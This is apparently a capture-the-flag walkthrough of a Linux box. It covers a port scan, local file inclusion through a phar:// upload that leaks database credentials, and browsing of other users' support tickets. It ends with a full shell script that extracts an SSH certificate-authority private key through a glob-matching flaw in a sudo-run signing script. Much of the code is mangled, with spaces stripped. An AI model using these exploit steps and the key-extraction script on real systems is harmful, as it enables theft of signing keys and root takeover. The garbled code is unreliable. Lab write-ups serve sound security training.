Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-17 01:48 CST
Nmap scan report for 10.10.11.27
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
Need to dive into the web server.
ITRC Web Exploit: Stream Wrapper and Zip-based PHARs#
The website is a ticket system, where you can submit requests and attachments
after registration.
The URL schemes tend to indicate that local file inclusion is feasible:
And what’s more convincing is that setting page to ././create_ticket produces
the expected ticket creation page, and the trial of nonexistent stream wrappers foo://
shows a warning:
Given that users can upload an optional ZIP archive within a ticket, I can then
construct an archive containing a malicious PHP page and use phar:// stream
wrapper to include the payload.
>readfile('db.php');<?php$dsn="mysql:host=db;dbname=resourcecenter;";$dbusername="jj";$dbpassword="ugEG5rR5SG8uPd";$pdo=newPDO($dsn,$dbusername,$dbpassword);try{$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);}catch(PDOException$e){die("Connection failed: ".$e->getMessage());}>include'db.php';$stmt=$pdo->prepare('SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema` = "resourcecenter";');$stmt->execute();var_dump($stmt->fetchAll());array(3){[0]=>array(2){["table_name"]=>string(8)"messages"[0]=>string(8)"messages"}[1]=>array(2){["table_name"]=>string(7)"tickets"[0]=>string(7)"tickets"}[2]=>array(2){["table_name"]=>string(5)"users"[0]=>string(5)"users"}}
Considering that tickets and messages would be TLDR, I decided to have a look at the uploads:
The credentials above are applicable to both Web and SSH.
By changing ticket ID in the URL, I could check messages in all tickets:
So from the ticket flows and the files at msainristil’s home, we now know that
due to an upgrade, the original CA (ca-itrc) for SSH certificate signing has been
deprecated, but is still recognized somewhere.
By checking certificate contents and comparing CA fingerprints we found at ITRC /etc/ssh,
we can confirm it’s issued by Global SSG SSH Certficiate from IT (ED25519), the new CA.
#!/bin/bash
usage (){echo"Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"exit1}if["$#" -ne 5];then usage
fica_file="$1"public_key_file="$2"username="$3"principal_str="$4"serial="$5"if[ ! -f "$ca_file"];thenecho"Error: CA file '$ca_file' not found." usage
fiitca=$(cat /etc/ssh/ca-it)ca=$(cat "$ca_file")if[[$itca==$ca]];thenecho"Error: Use API for signing with this CA." usage
fiif[ ! -f "$public_key_file"];thenecho"Error: Public key file '$public_key_file' not found." usage
fisupported_principals="webserver,analytics,support,security"IFS=','read -ra principal <<<"$principal_str"for word in "${principal[@]}";doif ! echo"$supported_principals"| grep -qw "$word";thenecho"Error: '$word' is not a supported principal."echo"Choose from:"echo" webserver - external web servers - webadmin user"echo" analytics - analytics team databases - analytics user"echo" support - IT support server - support user"echo" security - SOC servers - support user"echo usage
fidoneif ! [[$serial=~ ^[0-9]+$ ]];thenecho"Error: '$serial' is not a number." usage
fissh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal""$public_key_file"
Output of sudo -l indicates that the script can be run along with sudo:
1
2
3
4
5
6
7
8
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
The following test is fragile and can cause info leaks:
1
if[[$itca==$ca]];then
The mechanism is that Bash test operator [[ supports glob-based pattern matching:
#!/bin/sh
sch_sarray_is_empty(){sarray=$1[ -z "$sarray"]}sch_sarray_len(){sarray=$1i=0for element in $sarray;doi=$((i +1))doneprintf'%d'"$i"}sch_sarray_append(){sarray=$1shiftif sch_sarray_is_empty "$sarray";thenprintf'%s'"$*"elseprintf'%s'"$sarray$*"fi}sch_sarray_take(){sarray=$1n="$2"result=''i=0for element in $sarray;doif["$i" -eq "$n"];thenbreakfiresult=$(sch_sarray_append "$result""$element")i=$((i +1))doneprintf'%s'"$result"}sch_sarray_skip(){sarray=$1n=$2result=''i=0for element in $sarray;doif["$i" -ge "$n"];thenresult=$(sch_sarray_append "$result""$element")fii=$((i +1))doneprintf'%s'"$result"}sch_sarray_first(){sarray=$1result=''for element in $sarray;doprintf'%s'"$element"return0donereturn1}custom='- = + / \040 \n'uppercase="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"lowercase="a b c d e f g h i j k l m n o p q r s t u v w x y z"digits="0 1 2 3 4 5 6 7 8 9"charset="$custom$uppercase$lowercase$digits"ca="/tmp/x"known=""check(){printf -- "$1" > "$ca" sudo /opt/sign_key.sh "$ca" /dev/null root _ 10086 2>/dev/null | grep API >/dev/null
}check_pattern(){known=$1pattern=$2 check "$known$pattern*"}pattern_in(){sarray=$1pattern='['for c in $sarray;dopattern="$pattern$c"donepattern="$pattern]"printf'%s'"$pattern"}search_among(){sarray=$1callback=$2[ -z "$callback"]&&return1 shift;shiftn=$(sch_sarray_len "$sarray")partition0=$(sch_sarray_take "$sarray"$((n /2)))pattern0=$(pattern_in "$partition0")partition1=$(sch_sarray_skip "$sarray"$((n /2)))pattern1=$(pattern_in "$partition1")if ! sch_sarray_is_empty "$partition0"&&($callback"$@""$pattern0");thenif[$(sch_sarray_len "$partition0") -eq 1];then sch_sarray_first "$partition0"return0else search_among "$partition0""$callback""$@"return$?fielif ! sch_sarray_is_empty "$partition1"&&($callback"$@""$pattern1");thenif[$(sch_sarray_len "$partition1") -eq 1];then sch_sarray_first "$partition1"return0else search_among "$partition1""$callback""$@"return$?fifireturn1}while true;doc=$(search_among "$charset" check_pattern "$known")if[$? -eq 0];thenknown="$known$c"if check $known;thenprintf"ok:\n$known\n"breakfielseprintf"stuck at:\n$known\n"breakfidonerm "$ca"